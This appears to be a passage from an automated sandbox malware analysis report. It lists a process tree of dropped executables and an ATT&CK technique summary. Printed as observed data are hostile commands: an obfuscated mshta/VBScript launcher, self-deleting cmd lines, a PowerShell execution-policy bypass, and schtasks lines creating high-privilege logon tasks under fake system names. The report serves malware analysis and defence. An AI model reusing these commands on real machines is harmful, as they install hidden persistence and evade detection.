C:\Users\Admin\Documents\y0GEGWnRYqCpNvkoC0oscV4b.exe
"C:\Users\Admin\Documents\y0GEGWnRYqCpNvkoC0oscV4b.exe"
6⤵
PID:3108

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "y0GEGWnRYqCpNvkoC0oscV4b.exe" /f & erase "C:\Users\Admin\Documents\y0GEGWnRYqCpNvkoC0oscV4b.exe" & exit
7⤵
PID:3928

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "y0GEGWnRYqCpNvkoC0oscV4b.exe" /f
8⤵
- Kills process with taskkill
PID:3904

C:\Users\Admin\Documents\RLRkzsq12CsUDDaEHMWiicvo.exe
"C:\Users\Admin\Documents\RLRkzsq12CsUDDaEHMWiicvo.exe"
6⤵
PID:3100

C:\Users\Admin\Documents\4d_GEIgM4ajglKUjPJ_ApjAQ.exe
"C:\Users\Admin\Documents\4d_GEIgM4ajglKUjPJ_ApjAQ.exe"
6⤵
PID:3092

C:\Users\Admin\Documents\4d_GEIgM4ajglKUjPJ_ApjAQ.exe
"C:\Users\Admin\Documents\4d_GEIgM4ajglKUjPJ_ApjAQ.exe"
7⤵
PID:3136

C:\Users\Admin\Documents\LT9VvbXfhuJtStpPlVk7hpKY.exe
"C:\Users\Admin\Documents\LT9VvbXfhuJtStpPlVk7hpKY.exe"
6⤵
PID:3260

C:\Users\Admin\AppData\Local\Temp\is-BGNN5.tmp\LT9VvbXfhuJtStpPlVk7hpKY.tmp
"C:\Users\Admin\AppData\Local\Temp\is-BGNN5.tmp\LT9VvbXfhuJtStpPlVk7hpKY.tmp" /SL5="$40276,138429,56832,C:\Users\Admin\Documents\LT9VvbXfhuJtStpPlVk7hpKY.exe"
7⤵
PID:2932

C:\Users\Admin\AppData\Local\Temp\is-BR90G.tmp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\is-BR90G.tmp\Setup.exe" /Verysilent
8⤵
PID:4200

C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe
"C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" /qn CAMPAIGN="710"
9⤵
PID:4308

C:\Windows\SysWOW64\msiexec.exe
"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=710 AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629548210 /qn CAMPAIGN=""710"" " CAMPAIGN="710"
10⤵
PID:432

C:\Users\Admin\Documents\uFZa1NaiFlDSx2nnnba6_0md.exe
"C:\Users\Admin\Documents\uFZa1NaiFlDSx2nnnba6_0md.exe"
6⤵
PID:3084

C:\Users\Admin\Documents\k191Opf7tVF0T0RHpiDGJi9f.exe
"C:\Users\Admin\Documents\k191Opf7tVF0T0RHpiDGJi9f.exe"
6⤵
PID:3076

C:\Users\Admin\Documents\jYB2c5vmsYmDsvPJWie8gzMi.exe
"C:\Users\Admin\Documents\jYB2c5vmsYmDsvPJWie8gzMi.exe"
6⤵
PID:276

C:\Users\Admin\Documents\XkxIn5c92mhwxhQ99wpZzwGj.exe
"C:\Users\Admin\Documents\XkxIn5c92mhwxhQ99wpZzwGj.exe"
6⤵
PID:1452

C:\Users\Admin\Documents\6xdZJUDIDVw8q54wtj4I704B.exe
"C:\Users\Admin\Documents\6xdZJUDIDVw8q54wtj4I704B.exe"
6⤵
PID:3064

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbSCRipt:ClOSe( creATEoBJEcT("WscRIpT.sHEll" ).RUN("Cmd /Q /C tYPe ""C:\Users\Admin\Documents\6xdZJUDIDVw8q54wtj4I704B.exe"" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if """" == """" for %W iN ( ""C:\Users\Admin\Documents\6xdZJUDIDVw8q54wtj4I704B.exe"" ) do taskkill -IM ""%~nXW"" -f " ,0 ,TRUE ) )
7⤵
PID:3360

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /C tYPe "C:\Users\Admin\Documents\6xdZJUDIDVw8q54wtj4I704B.exe" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if ""=="" for %W iN ( "C:\Users\Admin\Documents\6xdZJUDIDVw8q54wtj4I704B.exe") do taskkill -IM "%~nXW" -f
8⤵
PID:4532

C:\Windows\SysWOW64\taskkill.exe
taskkill -IM "6xdZJUDIDVw8q54wtj4I704B.exe" -f
9⤵
- Kills process with taskkill
PID:4528

C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe
WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9
9⤵
PID:2020

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbSCRipt:ClOSe( creATEoBJEcT("WscRIpT.sHEll" ).RUN("Cmd /Q /C tYPe ""C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe"" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if ""-PifOcLbay~PF~N8a_e9RyKpu9 "" == """" for %W iN ( ""C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe"" ) do taskkill -IM ""%~nXW"" -f " ,0 ,TRUE ) )
10⤵
PID:4528

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /C tYPe "C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if "-PifOcLbay~PF~N8a_e9RyKpu9 "=="" for %W iN ( "C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe") do taskkill -IM "%~nXW" -f
11⤵
PID:3916

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" ~IWm4Wh.I,nKhkoYTFE
10⤵
PID:2104

C:\Users\Admin\Documents\YLbw5Z0N8DcDFOnmYRpUvJbg.exe
"C:\Users\Admin\Documents\YLbw5Z0N8DcDFOnmYRpUvJbg.exe"
6⤵
PID:3036

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im YLbw5Z0N8DcDFOnmYRpUvJbg.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\YLbw5Z0N8DcDFOnmYRpUvJbg.exe" & del C:\ProgramData\*.dll & exit
7⤵
PID:1224

C:\Windows\SysWOW64\taskkill.exe
taskkill /im YLbw5Z0N8DcDFOnmYRpUvJbg.exe /f
8⤵
- Kills process with taskkill
PID:4644

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
8⤵
- Delays execution with timeout.exe
PID:4140

C:\Users\Admin\Documents\TutQK1EUKdzPyXOYklHOZdKN.exe
"C:\Users\Admin\Documents\TutQK1EUKdzPyXOYklHOZdKN.exe"
6⤵
PID:1864

C:\Users\Admin\Documents\TutQK1EUKdzPyXOYklHOZdKN.exe
"C:\Users\Admin\Documents\TutQK1EUKdzPyXOYklHOZdKN.exe"
7⤵
PID:3976

C:\Users\Admin\Documents\TutQK1EUKdzPyXOYklHOZdKN.exe
"C:\Users\Admin\Documents\TutQK1EUKdzPyXOYklHOZdKN.exe"
7⤵
PID:1984

C:\Users\Admin\Documents\yMKLbXviS5T34HxprFe9kcET.exe
"C:\Users\Admin\Documents\yMKLbXviS5T34HxprFe9kcET.exe"
6⤵
PID:2852

C:\Users\Admin\Documents\yMKLbXviS5T34HxprFe9kcET.exe
"C:\Users\Admin\Documents\yMKLbXviS5T34HxprFe9kcET.exe" -q
7⤵
PID:3836

C:\Users\Admin\Documents\ruYvzFBw18sFJPXPRW5x3glX.exe
"C:\Users\Admin\Documents\ruYvzFBw18sFJPXPRW5x3glX.exe"
6⤵
PID:3308

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\system32\rundll32.exe C:\Users\Admin\DOCUME~1\RUYVZF~1.DLL,s C:\Users\Admin\DOCUME~1\RUYVZF~1.EXE
7⤵
PID:1448

C:\Windows\SysWOW64\RUNDLL32.EXE
C:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\RUYVZF~1.DLL,HwoVM1Q=
8⤵
PID:2296

C:\Program Files (x86)\GameBox INC\GameBox\RuntimeBroker.exe
"C:\Program Files (x86)\GameBox INC\GameBox\RuntimeBroker.exe"
5⤵
PID:2752

C:\Program Files (x86)\GameBox INC\GameBox\RuntimeBroker.exe
"C:\Program Files (x86)\GameBox INC\GameBox\RuntimeBroker.exe"
6⤵
PID:3508

C:\Users\Admin\Documents\lLYxFnY1O8HQ56jwYZG6NNM9.exe
"C:\Users\Admin\Documents\lLYxFnY1O8HQ56jwYZG6NNM9.exe"
2⤵
- Executes dropped EXE
PID:316

C:\Users\Admin\Documents\T4CWi7qY03e9iwCMIETK8UMO.exe
"C:\Users\Admin\Documents\T4CWi7qY03e9iwCMIETK8UMO.exe"
2⤵
- Executes dropped EXE
PID:2396

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\system32\rundll32.exe C:\Users\Admin\DOCUME~1\T4CWI7~1.DLL,s C:\Users\Admin\DOCUME~1\T4CWI7~1.EXE
3⤵
PID:3608

C:\Windows\SysWOW64\RUNDLL32.EXE
C:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\T4CWI7~1.DLL,RUAFRzEyRVJX
4⤵
PID:3936

C:\Windows\SysWOW64\RUNDLL32.EXE
C:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\T4CWI7~1.DLL,dFAjMmkyWA==
5⤵
PID:4268

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Executionpolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\tmpFAE2.tmp.ps1"
5⤵
PID:4924

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Documents and Settings\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2504

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft Visual Studio 8\SDK\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2536

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Users\Public\Videos\Sample Videos\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2544

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Windows\System32\es\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2552

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Windows\Temp\Crashpad\reports\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2572

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files\Google\Chrome\Application\SetupMetrics\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2584

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "44it3_f9rjPnDsg73rzaxrqr" /sc ONLOGON /tr "'C:\PerfLogs\Admin\44it3_f9rjPnDsg73rzaxrqr.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2600

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Setup (16)" /sc ONLOGON /tr "'C:\Windows\ehome\Setup (16).exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2608

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
- Executes dropped EXE
PID:3012

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2560

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "VPN" /sc ONLOGON /tr "'C:\Windows\SysWOW64\InstallShield\setupdir\VPN.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3844

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\PerfLogs\Admin\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3872

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "QnrLC214trwDVJTD70YeYb8P" /sc ONLOGON /tr "'C:\Users\Admin\Documents\3aqoPvaxZKNUk3cgUNAt_Qd_\QnrLC214trwDVJTD70YeYb8P.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3972

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:3980

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding E934D049DC224385B631B2D9C9D7C9B7 C
2⤵
PID:4004

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 1C150EDBC2BAC7F56E9153710EB486C0 C
2⤵
PID:3932

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 5CFC45D05E8152DF47DBBED403124D5F
2⤵
PID:3912

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding C12E2924F336A7DC19A8F83E11ADB1A4 C
2⤵
PID:4936

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "zhaoy-game" /sc ONLOGON /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\zhaoy-game.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3220

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Inlog.tmp" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows NT\Accessories\en-US\Inlog.tmp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:996

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Windows\System32\C_21025\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2032

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3412

C:\Users\Admin\AppData\Local\Temp\628A.exe
C:\Users\Admin\AppData\Local\Temp\628A.exe
1⤵
PID:2552

C:\Windows\system32\taskeng.exe
taskeng.exe {38F1E153-215C-44AC-A878-C465B46EC8F0} S-1-5-21-2513283230-931923277-594887482-1000:MRBKYMNO\Admin:Interactive:[1]
1⤵
PID:1320

C:\Users\Admin\AppData\Roaming\bfrcagj
C:\Users\Admin\AppData\Roaming\bfrcagj
2⤵
PID:3492

C:\Users\Admin\AppData\Roaming\bfrcagj
C:\Users\Admin\AppData\Roaming\bfrcagj
3⤵
PID:2532

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4896

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:3256

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4540

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:3872

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:2536

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:4992

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4472

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:3848

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4584

C:\Windows\system32\taskeng.exe
taskeng.exe {5172B3B0-C954-40D6-8440-26B906716352} S-1-5-21-2513283230-931923277-594887482-1000:MRBKYMNO\Admin:Interactive:[1]
1⤵
PID:3728

C:\Users\Admin\AppData\Roaming\bfrcagj
C:\Users\Admin\AppData\Roaming\bfrcagj
2⤵
PID:2832

C:\Users\Admin\AppData\Roaming\ftrcagj
C:\Users\Admin\AppData\Roaming\ftrcagj
2⤵
PID:4152

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:3524

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:1232

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:3680

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:3260

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:4744

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4708

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:3332

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4244

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:1468

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Modify Registry

Disabling Security Tools

T1089

Virtualization/Sandbox Evasion

T1497

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

Virtualization/Sandbox Evasion

T1497

System Information Discovery